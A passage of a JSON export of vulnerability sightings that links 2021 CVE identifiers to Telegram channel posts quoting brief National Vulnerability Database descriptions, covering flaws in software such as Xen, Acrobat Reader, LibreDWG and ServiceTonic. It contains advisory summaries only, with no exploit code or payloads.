allows fname Directory Traversal to read arbitrary files.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-12T20:17:21.000000Z"}, {"uuid": "6ad5491f-d279-4b4a-90af-21ee80b86e8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28377", "type": "seen", "source": "https://t.me/cibsecurity/35346", "content": "\u203c CVE-2021-28377 \u203c\n\nChronoForums 2.0.11 allows av Directory Traversal to read arbitrary files.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-12T20:17:20.000000Z"}, {"uuid": "f3f00ac0-a9b8-4792-8275-571f5aed209b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28714", "type": "seen", "source": "https://t.me/cibsecurity/35074", "content": "\u203c CVE-2021-28715 \u203c\n\nGuest can force Linux netback driver to hog large amounts of kernel memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Incoming data packets for a guest in the Linux kernel's netback driver are buffered until the guest is ready to process them. There are some measures taken for avoiding to pile up too much data, but those can be bypassed by the guest: There is a timeout how long the client side of an interface can stop consuming new packets before it is assumed to have stalled, but this timeout is rather long (60 seconds by default). Using a UDP connection on a fast interface can easily accumulate gigabytes of data in that time. (CVE-2021-28715) The timeout could even never trigger if the guest manages to have only one free slot in its RX queue ring page and the next package would require more than one free slot, which may be the case when using GSO, XDP, or software hashing. (CVE-2021-28714)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-06T20:41:11.000000Z"}, {"uuid": "eabfeca0-3cfa-47d3-906c-423c08a4aeb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28713", "type": "seen", "source": "https://t.me/cibsecurity/34997", "content": "\u203c CVE-2021-28711 \u203c\n\nRogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-05T20:39:48.000000Z"}, {"uuid": "182bb7b9-3a35-41d7-8fac-dd9706521edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28711", "type": "seen", "source": "https://t.me/cibsecurity/34995", "content": "\u203c CVE-2021-28712 \u203c\n\nRogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-05T20:39:46.000000Z"}, {"uuid": "e84aa41e-7fe7-4b5c-9b71-37af128650c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28713", "type": "seen", "source": "https://t.me/cibsecurity/34995", "content": "\u203c CVE-2021-28712 \u203c\n\nRogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-05T20:39:46.000000Z"}, {"uuid": "9f9b8b43-24a2-4a2f-9354-3675b58b9527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28713", "type": "seen", "source": "https://t.me/cibsecurity/34998", "content": "\u203c CVE-2021-28713 \u203c\n\nRogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-05T20:39:49.000000Z"}, {"uuid": "759882fa-4bd7-4cc6-b654-fc7caf1d611d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28712", "type": "seen", "source": "https://t.me/cibsecurity/34995", "content": "\u203c CVE-2021-28712 \u203c\n\nRogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-05T20:39:46.000000Z"}, {"uuid": "3e5630eb-e619-4472-b95f-3ddf4b8c0d75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28712", "type": "seen", "source": "https://t.me/cibsecurity/34997", "content": "\u203c CVE-2021-28711 \u203c\n\nRogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-05T20:39:48.000000Z"}, {"uuid": "4275bb8a-8a0d-493e-9b5b-f5d9696c3f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28711", "type": "seen", "source": "https://t.me/cibsecurity/34997", "content": "\u203c CVE-2021-28711 \u203c\n\nRogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-05T20:39:48.000000Z"}, {"uuid": "f8832b82-51d1-4bba-81e3-17969c831c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28712", "type": "seen", "source": "https://t.me/cibsecurity/34998", "content": "\u203c CVE-2021-28713 \u203c\n\nRogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-05T20:39:49.000000Z"}, {"uuid": "e03b1ac7-bc49-472d-8014-3f9d45356b48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28711", "type": "seen", "source": "https://t.me/cibsecurity/34998", "content": "\u203c CVE-2021-28713 \u203c\n\nRogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-05T20:39:49.000000Z"}, {"uuid": "9454d7c2-689a-4719-865b-00997907dac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28236", "type": "seen", "source": "https://t.me/cibsecurity/33292", "content": "\u203c CVE-2021-28236 \u203c\n\nLibreDWG v0.12.3 was discovered to contain a NULL pointer dereference via out_dxfb.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-12-03T00:37:09.000000Z"}, {"uuid": "d256f713-1c49-415e-b878-b20a034fce8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28237", "type": "seen", "source": "https://t.me/cibsecurity/33291", "content": "\u203c CVE-2021-28237 \u203c\n\nLibreDWG v0.12.3 was discovered to contain a heap-buffer overflow via decode_preR13.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-12-03T00:37:08.000000Z"}, {"uuid": "2c6e41a9-42c9-43c6-9fba-37c3eeef719c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28680", "type": "seen", "source": "https://t.me/cibsecurity/33524", "content": "\u203c CVE-2021-28680 \u203c\n\nThe devise_masquerade gem before 1.3 allows certain attacks when a password's salt is unknown. An application that uses this gem to let administrators masquerade/impersonate users loses one layer of security protection compared to a situation where Devise (without this extension) is used. If the server-side secret_key_base value became publicly known (for instance if it is committed to a public repository by mistake), there are still other protections in place that prevent an attacker from impersonating any user on the site. When masquerading is not used in a plain Devise application, one must know the password salt of the target user if one wants to encrypt and sign a valid session cookie. When devise_masquerade is used, however, an attacker can decide which user the \"back\" action will go back to without knowing that user's password salt and simply knowing the user ID, by manipulating the session cookie and pretending that a user is already masqueraded by an administrator.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-12-08T00:22:57.000000Z"}, {"uuid": "12d827c1-5711-43fd-900a-13c002152a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28703", "type": "seen", "source": "https://t.me/cibsecurity/33429", "content": "\u203c CVE-2021-28703 \u203c\n\ngrant table v2 status pages may remain accessible after de-allocation (take two) Guest get permitted access to certain Xen-owned pages of memory. The majority of such pages remain allocated / associated with a guest for its entire lifetime. Grant table v2 status pages, however, get de-allocated when a guest switched (back) from v2 to v1. The freeing of such pages requires that the hypervisor know where in the guest these pages were mapped. The hypervisor tracks only one use within guest space, but racing requests from the guest to insert mappings of these pages may result in any of them to become mapped in multiple locations. Upon switching back from v2 to v1, the guest would then retain access to a page that was freed and perhaps re-used for other purposes. This bug was fortuitously fixed by code cleanup in Xen 4.14, and backported to security-supported Xen branches as a prerequisite of the fix for XSA-378.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-12-07T14:21:36.000000Z"}, {"uuid": "3b33ac2b-f7dc-47ba-b696-2b4062071b5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28710", "type": "seen", "source": "https://t.me/cibsecurity/32778", "content": "\u203c CVE-2021-28710 \u203c\n\ncertain VT-d IOMMUs may not work in shared page table mode For efficiency reasons, address translation control structures (page tables) may (and, on suitable hardware, by default will) be shared between CPUs, for second-level translation (EPT), and IOMMUs. These page tables are presently set up to always be 4 levels deep. However, an IOMMU may require the use of just 3 page table levels. In such a configuration the lop level table needs to be stripped before inserting the root table's address into the hardware pagetable base register. When sharing page tables, Xen erroneously skipped this stripping. Consequently, the guest is able to write to leaf page table entries.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-11-21T18:18:51.000000Z"}, {"uuid": "8bfdaa0f-55d2-43fd-b533-498607ba3de4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28022", "type": "seen", "source": "https://t.me/cibsecurity/31984", "content": "\u203c CVE-2021-28022 \u203c\n\nBlind SQL injection in the login form in ServiceTonic Helpdesk software < 9.0.35937 allows attacker to exfiltrate information via specially crafted HQL-compatible time-based SQL queries.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-11-08T18:29:06.000000Z"}, {"uuid": "95dfb698-87b0-4262-87ee-f6ea4e7cb302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28024", "type": "seen", "source": "https://t.me/cibsecurity/31981", "content": "\u203c CVE-2021-28024 \u203c\n\nUnauthorized system access in the login form in ServiceTonic Helpdesk software version < 9.0.35937 allows attacker to login without using a password.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-11-08T18:29:02.000000Z"}, {"uuid": "844d5003-42c7-4195-9ec3-c8f5cc5bd84f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28023", "type": "seen", "source": "https://t.me/cibsecurity/31980", "content": "\u203c CVE-2021-28023 \u203c\n\nArbitrary file upload in Service import feature in ServiceTonic Helpdesk software version < 9.0.35937 allows a malicious user to execute JSP code by uploading a zip that extracts files in relative paths.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-11-08T18:29:01.000000Z"}, {"uuid": "a9cd2abe-943d-44c0-843f-cb6d56ee5e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28496", "type": "seen", "source": "https://t.me/cibsecurity/30962", "content": "\u203c CVE-2021-28496 \u203c\n\nOn systems running Arista EOS and CloudEOS with the affected release version, when using shared secret profiles the password configured for use by BiDirectional Forwarding Detection (BFD) will be leaked when displaying output over eAPI or other JSON outputs to other authenticated users on the device. The affected EOS Versions are: all releases in 4.22.x train, 4.23.9 and below releases in the 4.23.x train, 4.24.7 and below releases in the 4.24.x train, 4.25.4 and below releases in the 4.25.x train, 4.26.1 and below releases in the 4.26.x train\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-21T20:37:08.000000Z"}, {"uuid": "19e93fe8-c799-489d-8bfe-6aa4b8d34b6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28975", "type": "seen", "source": "https://t.me/cibsecurity/30956", "content": "\u203c CVE-2021-28975 \u203c\n\nWP Mailster 1.6.18.0 allows XSS when a victim opens a mail server's details in the mst_servers page, for a crafted server_host, server_name, or connection_parameter parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-21T20:37:02.000000Z"}, {"uuid": "f5223ba2-5d27-40c5-9de2-cefd1b872b6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28960", "type": "seen", "source": "https://t.me/cibsecurity/29181", "content": "\u203c CVE-2021-28960 \u203c\n\nManageEngine Desktop Central before build 10.0.683 allows Unauthenticated Remote Code Execution during communication with Notification Server.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-21T16:27:52.000000Z"}, {"uuid": "c24309b1-95d1-4a33-a13e-36dde9ca118d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28901", "type": "seen", "source": "https://t.me/cibsecurity/28949", "content": "\u203c CVE-2021-28901 \u203c\n\nMultiple cross-site scripting (XSS) vulnerabilities exist in SITA Software Azur CMS 1.2.3.1 and earlier, which allows remote attackers to inject arbitrary web script or HTML via the (1) NOM_CLI , (2) ADRESSE , (3) ADRESSE2, (4) LOCALITE parameters to /eshop/products/json/aouCustomerAdresse; and the (5) nom_liste parameter to /eshop/products/json/addCustomerFavorite.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-15T22:22:24.000000Z"}, {"uuid": "0fb95e76-8cd1-4a20-b32b-a7fd6e54a754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28021", "type": "seen", "source": "https://t.me/cibsecurity/30657", "content": "\u203c CVE-2021-28021 \u203c\n\nBuffer overflow vulnerability in function stbi__extend_receive in stb_image.h in stb 2.26 via a crafted JPEG file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-15T20:28:45.000000Z"}, {"uuid": "4a32c57c-d315-47c2-92a4-2c97b4497874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28565", "type": "seen", "source": "https://t.me/cibsecurity/28228", "content": "\u203c CVE-2021-28565 \u203c\n\nAcrobat Reader DC versions versions 2021.001.20150 (and earlier), 2020.001.30020 (and earlier) and 2017.011.30194 (and earlier) are affected by an Out-of-bounds Read vulnerability in the PDFLibTool component. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-02T20:36:39.000000Z"}, {"uuid": "4c5fbaad-999e-46dc-8f65-52f93959a574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28661", "type": "seen", "source": "https://t.me/cibsecurity/30166", "content": "\u203c CVE-2021-28661 \u203c\n\nDefault SilverStripe GraphQL Server (aka silverstripe/graphql) 3.x through 3.4.1 permission checker not inherited by query subclass.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-07T18:33:56.000000Z"}, {"uuid": "c096c00e-1c40-4a34-95d6-7026a84707b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28702", "type": "seen", "source": "https://t.me/cibsecurity/30044", "content": "\u203c CVE-2021-28702 \u203c\n\nPCI devices with RMRRs not deassigned correctly Certain PCI devices in a system might be assigned Reserved Memory Regions (specified via Reserved Memory Region Reporting, \"RMRR\"). These are typically used for platform tasks such as legacy USB emulation. If such a device is passed through to a guest, then on guest shutdown the device is not properly deassigned. The IOMMU configuration for these devices which are not properly deassigned ends up pointing to a freed data structure, including the IO Pagetables. Subsequent DMA or interrupts from the device will have unpredictable behaviour, ranging from IOMMU faults to memory corruption.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-06T18:31:59.000000Z"}, {"uuid": "75c0ba6f-d054-4322-b159-8ae129196280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28560", "type": "seen", "source": "https://t.me/cibsecurity/28235", "content": "\u203c CVE-2021-28560 \u203c\n\nAcrobat Reader DC versions versions 2021.001.20150 (and earlier), 2020.001.30020 (and earlier) and 2017.011.30194 (and earlier) are affected by a Heap-based Buffer Overflow vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-02T20:37:09.000000Z"}, {"uuid": "6aedb1fb-a05b-4ecf-b6d7-f3ac36b4b26c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28557", "type": "seen", "source": "https://t.me/cibsecurity/28233", "content": "\u203c CVE-2021-28557 \u203c\n\nAcrobat Reader DC versions versions 2021.001.20150 (and earlier), 2020.001.30020 (and earlier) and 2017.011.30194 (and earlier) are affected by an Out-of-bounds Read vulnerability. An unauthenticated attacker could leverage this vulnerability to leak sensitive system information in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-02T20:37:01.000000Z"}, {"uuid": "ffa493f6-308a-4207-84b3-19d9494c2f51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28558", "type": "seen", "source": "https://t.me/cibsecurity/28242", "content": "\u203c CVE-2021-28558 \u203c\n\nAcrobat Reader DC versions versions 2021.001.20150 (and earlier), 2020.001.30020 (and earlier) and 2017.011.30194 (and earlier) are affected by an Heap-based buffer overflow vulnerability in the PDFLibTool component. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-02T20:37:40.000000Z"}, {"uuid": "854d32b3-ba80-430e-a336-62e959970b8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://t.me/cibsecurity/28239", "content": "\u203c CVE-2021-28550 \u203c\n\nAcrobat Reader DC versions versions 2021.001.20150 (and earlier), 2020.001.30020 (and earlier) and 2017.011.30194 (and earlier) are affected by a Use After Free vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-02T20:37:25.000000Z"}, {"uuid": "64a41437-6905-416f-8dfd-8c5f71a8ac4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28553", "type": "seen", "source": "https://t.me/cibsecurity/28238", "content": "\u203c CVE-2021-28553 \u203c\n\nAcrobat Reader DC versions versions 2021.001.20150 (and earlier), 2020.001.30020 (and earlier) and 2017.011.30194 (and earlier) are affected by an Use After Free vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-02T20:37:21.000000Z"}, {"uuid": "552b6812-9c77-48c0-bb6c-6ec59629a1e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28564", "type": "seen", "source": "https://t.me/cibsecurity/28237", "content": "\u203c CVE-2021-28564 \u203c\n\nAcrobat Reader DC versions versions 2021.001.20150 (and earlier), 2020.001.30020 (and earlier) and 2017.011.30194 (and earlier) are affected by an Out-of-bounds Write vulnerability within the ImageTool component. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-02T20:37:17.000000Z"}, {"uuid": "a7c62a2a-840a-4775-ab61-4bc3a37091c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28561", "type": "seen", "source": "https://t.me/cibsecurity/28236", "content": "\u203c CVE-2021-28561 \u203c\n\nAcrobat Reader DC versions versions 2021.001.20150 (and earlier), 2020.001.30020 (and earlier) and 2017.011.30194 (and earlier) are affected by a memory corruption vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-02T20:37:12.000000Z"}, {"uuid": "3c087995-a56a-41b6-b700-a001162f4168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28617", "type": "seen", "source": "https://t.me/cibsecurity/27818", "content": "\u203c CVE-2021-28617 \u203c\n\nAdobe Animate version 21.0.6 (and earlier) is affected by an Out-of-bounds Read vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to disclose sensitive memory information in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T22:30:52.000000Z"}, {"uuid": "4050160c-846e-4bcd-817a-4561d01ee1f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28695", "type": "seen", "source": "https://t.me/cibsecurity/27963", "content": "\u203c CVE-2021-28696 \u203c\n\nIOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all 